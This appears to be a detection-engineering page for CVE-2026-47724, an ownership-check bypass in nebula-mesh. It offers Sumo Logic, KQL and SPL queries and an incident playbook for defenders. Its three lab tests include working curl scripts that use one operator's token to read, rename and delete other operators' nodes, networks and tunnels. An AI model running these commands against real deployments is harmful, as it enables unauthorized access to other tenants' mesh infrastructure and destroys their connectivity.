CVE-2026-47724 Sumo Logic CSE · Sumo

Detect nebula-mesh API Ownership Check Bypass — Cross-Operator Privilege Escalation in Sumo Logic CSE

CVE-2026-47724 is a missing authorization vulnerability (CWE-862) in github.com/juev/nebula-mesh versions prior to 0.3.4. API endpoints fail to validate resource ownership before processing requests, allowing an authenticated operator to access, modify, or delete mesh network resources belonging to other operators. With a CVSS score of 9.9 and a public proof-of-concept, exploitation enables full cross-tenant privilege escalation within a nebula-mesh deployment. Organizations running nebula-mesh as a multi-tenant overlay network orchestrator are at critical risk.

MITRE ATT&CK

Tactic
Privilege Escalation Persistence Lateral Movement

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
_sourceCategory=nebula-mesh OR _sourceCategory=nginx/access OR _sourceCategory=application/golang
| parse regex "(?P<http_method>GET|POST|PUT|PATCH|DELETE) (?P<request_uri>/api/v\d+/(?P<resource_type>nodes|networks|tunnels|hosts|peers)/(?P<resource_id>[^/?\s]+))"
| parse regex "(?P<status_code>[245]\d{2})"
| parse regex "(?P<source_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})"
| where status_code in ("200", "201", "204") and http_method in ("GET", "PUT", "PATCH", "DELETE")
| timeslice 10m
| stats
    count as request_count,
    dcount(resource_id) as distinct_resources,
    dcount(resource_type) as distinct_resource_types,
    values(http_method) as methods
    by source_ip, _timeslice
| where distinct_resources > 5
| sort by distinct_resources desc
| fields _timeslice, source_ip, request_count, distinct_resources, distinct_resource_types, methods
critical severity medium confidence

Sumo Logic query detecting nebula-mesh API abuse patterns consistent with CVE-2026-47724, by identifying source IPs accessing more than 5 distinct resource IDs across ownership-unprotected endpoints within 10-minute bins.

Data Sources

Sumo Logic Cloud SIEMHTTP logsGo application logs

Required Tables

_sourceCategory=nebula-mesh_sourceCategory=nginx/access

False Positives & Tuning

  • Legitimate operators with global administrative privileges managing large deployments
  • Automated mesh monitoring or telemetry collection systems
  • DevOps pipelines executing bulk mesh configuration changes
  • Security tooling performing authorized API surface enumeration

Other platforms for CVE-2026-47724


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-47724: Enumerate Foreign Operator Nodes via Unauthenticated Ownership Check

    Expected signal: HTTP GET /api/v1/nodes/<operator_b_node_id> returning HTTP 200 with node details for a resource not owned by the authenticated operator

  2. Test 2CVE-2026-47724: Modify Foreign Operator Network Configuration

    Expected signal: HTTP PATCH /api/v1/networks/<foreign_network_id> returning HTTP 200, with data store reflecting updated network name owned by wrong operator

  3. Test 3CVE-2026-47724: Delete Foreign Operator Tunnel — Destructive Escalation

    Expected signal: HTTP DELETE /api/v1/tunnels/<foreign_tunnel_id> returning HTTP 200 or 204, followed by mesh connectivity disruption between the tunnel's associated endpoints


Response Playbook

Triage

  1. Identify the source IP and authenticated user/operator account making the anomalous API requests. Cross-reference with your nebula-mesh operator registry to determine the legitimate scope of that account's resource ownership.
  2. Extract the full list of resource IDs accessed (nodes, networks, tunnels, hosts, peers). Determine what percentage of those resources belong to other operators — any cross-operator access is an immediate indicator of exploitation.
  3. Check nebula-mesh version on the affected deployment using `nebula-mesh --version` or inspect the binary/container image tag. Versions below 0.3.4 are definitively vulnerable.
  4. Review timing: correlate the anomalous API requests with any known change windows, deployments, or authorized penetration tests. If no change window explains the activity, escalate immediately.
  5. Assess the HTTP methods used: GET-only may indicate enumeration/reconnaissance; PUT/PATCH/DELETE against foreign resources indicates active manipulation or destructive exploitation.

Containment

  1. Immediately revoke the API token or session credential associated with the suspicious operator account. For nebula-mesh deployments using JWT, invalidate the signing key and force re-authentication of all operators.
  2. Apply network-level ACLs or WAF rules to block or rate-limit API requests from the implicated source IP(s) while investigation proceeds. If the nebula-mesh API is internet-exposed, consider temporary restriction to known-good CIDR ranges.
  3. If exploitation is confirmed, isolate affected mesh nodes or network segments to prevent lateral movement through the compromised overlay network topology.

Evidence Collection

  1. Export complete API access logs from the nebula-mesh server covering the 48-hour window prior to detection, preserving original timestamps and source IPs. Hash the log files (SHA-256) immediately for chain-of-custody.
  2. Capture the nebula-mesh server's current state: running configuration, operator account list, resource ownership mappings, and any recently modified node/network/tunnel objects. Compare against last known-good backup to identify unauthorized changes.
  3. Preserve container or process memory dump of the nebula-mesh API server process if still running, to capture in-memory session state and any injected payloads.

Escalation Criteria

  • !Escalate to incident response if any cross-operator resource modifications (PUT/PATCH/DELETE) are confirmed — this indicates active exploitation beyond reconnaissance, with potential for mesh topology manipulation enabling lateral movement.
  • !Escalate if the nebula-mesh deployment serves as network infrastructure for sensitive systems (production workloads, PCI/HIPAA environments) — compromise of the overlay network may expose all connected hosts to adversarial routing.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >nebula-mesh API server access logs: HTTP method, URI (including resource ID), response code, source IP, authenticated operator identity, and timestamp
  • >JWT or API token audit trail: issuance timestamps, operator claims, and any token refresh events coinciding with anomalous access patterns
  • >nebula-mesh data store (database or config files): ownership metadata for nodes/networks/tunnels to identify unauthorized modifications
  • >Container or host process logs for the nebula-mesh binary: startup flags, configuration paths, and any panic/error output coinciding with exploitation attempts

Tuning Guidance

Baseline the normal distinct-resource-access count per operator in your environment over a 2-week period before alerting. Admin/superuser operator accounts will legitimately access many resources — exclude them by role from the count-based thresholds or maintain a separate higher threshold. Adjust the 10-minute window and resource-count thresholds (currently >5) based on your deployment size: small deployments (<50 nodes) may warrant a lower threshold of 3, while large deployments (>500 nodes) may need thresholds of 15-20 to avoid alert fatigue from legitimate bulk operations. Consider enriching alerts with the resource owner field from your nebula-mesh operator registry to enable direct ownership mismatch detection rather than relying solely on volume anomalies.


Hunting Queries

Threat hunt for historical cross-operator write operations in nebula-mesh: identifies any operator account that performed mutating API calls (PUT/PATCH/DELETE) against more than 2 distinct resource IDs, which should never occur for non-admin operators and may indicate prior exploitation before detection was in place.

Hunting — KQL
kql
DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where RemoteUrl has "/api/v" and RemoteUrl matches regex @"/api/v[0-9]+/(nodes|networks|tunnels|hosts|peers)/"
| where ActionType == "HttpConnectionInspected" and AdditionalFields has_any ("PUT", "PATCH", "DELETE")
| summarize
    UniqueResources = dcount(RemoteUrl),
    TotalRequests = count(),
    Methods = make_set(tostring(parse_json(AdditionalFields)["HttpMethod"]))
    by DeviceName, InitiatingProcessAccountName, bin(TimeGenerated, 1h)
| where UniqueResources > 3
| order by UniqueResources desc
Hunting — SPL
spl
index=* (sourcetype="nebula-mesh:api" OR sourcetype="nginx:access")
| regex _raw="(PUT|PATCH|DELETE) /api/v\d+/(nodes|networks|tunnels|hosts|peers)/"
| rex field=_raw "(?P<operator>[a-zA-Z0-9_-]+) \"?(PUT|PATCH|DELETE)"
| rex field=_raw "(?P<resource_id>[a-zA-Z0-9_-]{8,})"
| bucket span=1h _time
| stats dc(resource_id) as unique_resources, count as total_ops by operator, _time
| where unique_resources > 2
| sort -unique_resources

Atomic Red Team Tests

Test 1 CVE-2026-47724: Enumerate Foreign Operator Nodes via Unauthenticated Ownership Check
linux

Simulates an attacker with a valid operator token for Operator A attempting to list nodes belonging to Operator B. In a vulnerable nebula-mesh instance (<0.3.4), the API returns Operator B's node details without ownership validation.

Command

bash
NEBULA_API=http://localhost:8080
TOKEN_OPERATOR_A=$(curl -s -X POST $NEBULA_API/api/v1/auth/login -H 'Content-Type: application/json' -d '{"username":"operator_a","password":"password_a"}' | jq -r '.token')
OPERATOR_B_NODE_ID=$(curl -s -X GET $NEBULA_API/api/v1/nodes -H "Authorization: Bearer $TOKEN_OPERATOR_A" | jq -r '.[0].id')
curl -v -X GET $NEBULA_API/api/v1/nodes/$OPERATOR_B_NODE_ID -H "Authorization: Bearer $TOKEN_OPERATOR_A"

Cleanup

bash
No persistent changes; authentication tokens expire naturally. If test nodes were created, delete via: curl -X DELETE $NEBULA_API/api/v1/nodes/$OPERATOR_B_NODE_ID -H "Authorization: Bearer $TOKEN_OPERATOR_A"

Expected Telemetry

HTTP GET /api/v1/nodes/<operator_b_node_id> returning HTTP 200 with node details for a resource not owned by the authenticated operator

Expected Detection

Alert triggers on API access to resource ID belonging to a different operator; or on distinct-resource-count threshold breach if multiple foreign node IDs are enumerated

Test 2 CVE-2026-47724: Modify Foreign Operator Network Configuration
linux

Simulates an attacker using Operator A credentials to modify a network object owned by Operator B — demonstrating the privilege escalation impact beyond read-only access.

Command

bash
NEBULA_API=http://localhost:8080
TOKEN_OPERATOR_A=$(curl -s -X POST $NEBULA_API/api/v1/auth/login -H 'Content-Type: application/json' -d '{"username":"operator_a","password":"password_a"}' | jq -r '.token')
FOREIGN_NETWORK_ID=$(curl -s $NEBULA_API/api/v1/networks -H "Authorization: Bearer $TOKEN_OPERATOR_A" | jq -r '.[] | select(.owner != "operator_a") | .id' | head -1)
curl -v -X PATCH $NEBULA_API/api/v1/networks/$FOREIGN_NETWORK_ID \
  -H "Authorization: Bearer $TOKEN_OPERATOR_A" \
  -H 'Content-Type: application/json' \
  -d '{"name": "PWNED_BY_CVE-2026-47724", "description": "Modified by cross-operator escalation"}'

Cleanup

bash
Restore original network name: curl -X PATCH $NEBULA_API/api/v1/networks/$FOREIGN_NETWORK_ID -H "Authorization: Bearer $TOKEN_OPERATOR_A" -H 'Content-Type: application/json' -d '{"name": "original_name"}' — or restore from backup

Expected Telemetry

HTTP PATCH /api/v1/networks/<foreign_network_id> returning HTTP 200, with data store reflecting updated network name owned by wrong operator

Expected Detection

Alert on mutating API method (PATCH) against a resource with mismatched operator ownership, or on write operations crossing the distinct-resource threshold within the detection window

Test 3 CVE-2026-47724: Delete Foreign Operator Tunnel — Destructive Escalation
linux

Demonstrates the most destructive impact: an attacker deletes an overlay tunnel belonging to another operator, disrupting mesh connectivity. Lab only — requires isolated nebula-mesh test instance.

Command

bash
NEBULA_API=http://localhost:8080
TOKEN_ATTACKER=$(curl -s -X POST $NEBULA_API/api/v1/auth/login -H 'Content-Type: application/json' -d '{"username":"attacker_operator","password":"attacker_pass"}' | jq -r '.token')
FOREIGN_TUNNEL_ID=$(curl -s $NEBULA_API/api/v1/tunnels -H "Authorization: Bearer $TOKEN_ATTACKER" | jq -r '.[] | select(.owner != "attacker_operator") | .id' | head -1)
echo "Target tunnel: $FOREIGN_TUNNEL_ID"
curl -v -X DELETE $NEBULA_API/api/v1/tunnels/$FOREIGN_TUNNEL_ID \
  -H "Authorization: Bearer $TOKEN_ATTACKER"

Cleanup

bash
Recreate deleted tunnel from backup configuration: curl -X POST $NEBULA_API/api/v1/tunnels -H "Authorization: Bearer $TOKEN_ADMIN" -H 'Content-Type: application/json' -d @tunnel_backup.json

Expected Telemetry

HTTP DELETE /api/v1/tunnels/<foreign_tunnel_id> returning HTTP 200 or 204, followed by mesh connectivity disruption between the tunnel's associated endpoints

Expected Detection

High-confidence alert on DELETE method against a foreign-owned tunnel resource; downstream connectivity loss alerts from mesh monitoring; correlated with the ownership-bypass detection rule

Related Detections